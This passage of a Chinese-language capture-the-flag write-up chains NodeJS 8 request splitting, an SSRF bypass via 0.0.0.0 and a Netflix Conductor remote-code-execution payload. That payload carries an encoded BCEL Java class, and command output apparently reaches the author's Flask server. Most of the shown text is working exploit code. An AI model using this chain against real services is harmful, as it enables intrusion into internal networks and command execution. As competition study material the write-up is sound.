}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'
console.log(encodeURI(encodeURI(encodeURI('http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.241.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload+ '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))

然后拿到第二个 Payload URL。

http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.241.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%2525C4%25258AContent-Length:1410%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3dS$k$85$K$f2$S$U$7c$81$$$EMd$e3$O$e3$c6$e0$K$l$R$a2$L7$96$3a$a9$83$d06e$m$c4$lr$cd$G$8d$L$3f$c0$8fR$ef4FLt$929w$ee$b9g$ce$9d$c7$fb$c7$eb$h$80$Dl$h$88a$c9$40$k$85$Y$96U$5c$d1Q4$QAI$c7$aa$8e5$86$e8$a1p$84$3cb$IUkW$M$e1c$f7$8e3$a4Z$c2$e1g$a3A$97$fb$j$b3$db$t$s$d9$96$a6$f5pjzA$k$ec$$$92$7c$60$K$87$a1P$bdi$f5$cc$b1Y$ef$9b$8e$5doK_8vC$d9$Zmw$e4$5b$fcD$u$8bxs$y$fa$fbJ$97$40$i$86$8e$f5$E6$b0$c9$b08$bc$_$d7$e5$c0$ab$db$fd$c7$9ep$S$u$a3$c2$90$9b$3b6$t$W$f7$a4p$a9$b4$F$83$da$w$t$86$f4$5cq$de$edqK2d$e6$d4$e5$c8$91b$40$7d$N$9b$cb$9f$q_$ad$b5$feh$gd$c9$t$dcb$d8$a9$fes$91_$d4$85$efZ$7c8$a4$N$v$8f$8a2x$95$8eoZ$i$V$e8$f4$dajh$60$ea$82$84$L$94$ddR$aeQ$y$ec$3e$83$bd$40$cb$86f$I_$3f$n$d6$da$9b$n$3a$rU$YI$a4$e9S4$qHWB$940Dl$84$f88Utd$c89O$8eI$aa$a4$a1$7d$S0$j$8b$KR$e1$40$93$f9$eeV$a4$c9$d4$9c$G$Le$Y$N$88$qa68$5c$ee$L$VXu$96$m$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%2525A2test@example.org%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private

好的,那么就可以再打上去了。在 Flask 的请求记录即可看到命令结果,base64 解码一下就是明文。

12. 最后,修改 command1.txt,将其中改为我们获取 flag 的命令 cat /flag,即可获得 flag。

再打一遍,拿到结果,解码即可拿到 flag。

总结

小结一下攻击过程:

  1. 用NodeJS弱类型登录为管理员。
  2. 在 SSRF 点利用 0.0.0.0 绕过 WAF 成功访问到本地的 /search,再从 /search 访问到 /flag,拿到提示。
  3. 利用 SSRF 点进行内网扫描,找到目标机器。
  4. 构造目标机器上服务 Netflix Conductor 的 1day 的 Payload。
  5. 利用 NodeJS 8 的 http库漏洞进行请求拆分,构造出 POST 请求。
  6. 对 /search 打出 POST 请求,成功转发POST 请求到内网。
  7. 成功攻击内网服务 Netflix Conductor,成功执行命令。

总的来说还是挺有意思的,比赛时自己的格局不够高,路走窄了,只想到 http 库有漏洞,而没想到其他所有依赖这个库的库都会有这个洞,以后还是得多加注意,Stay hungry Stay foolish。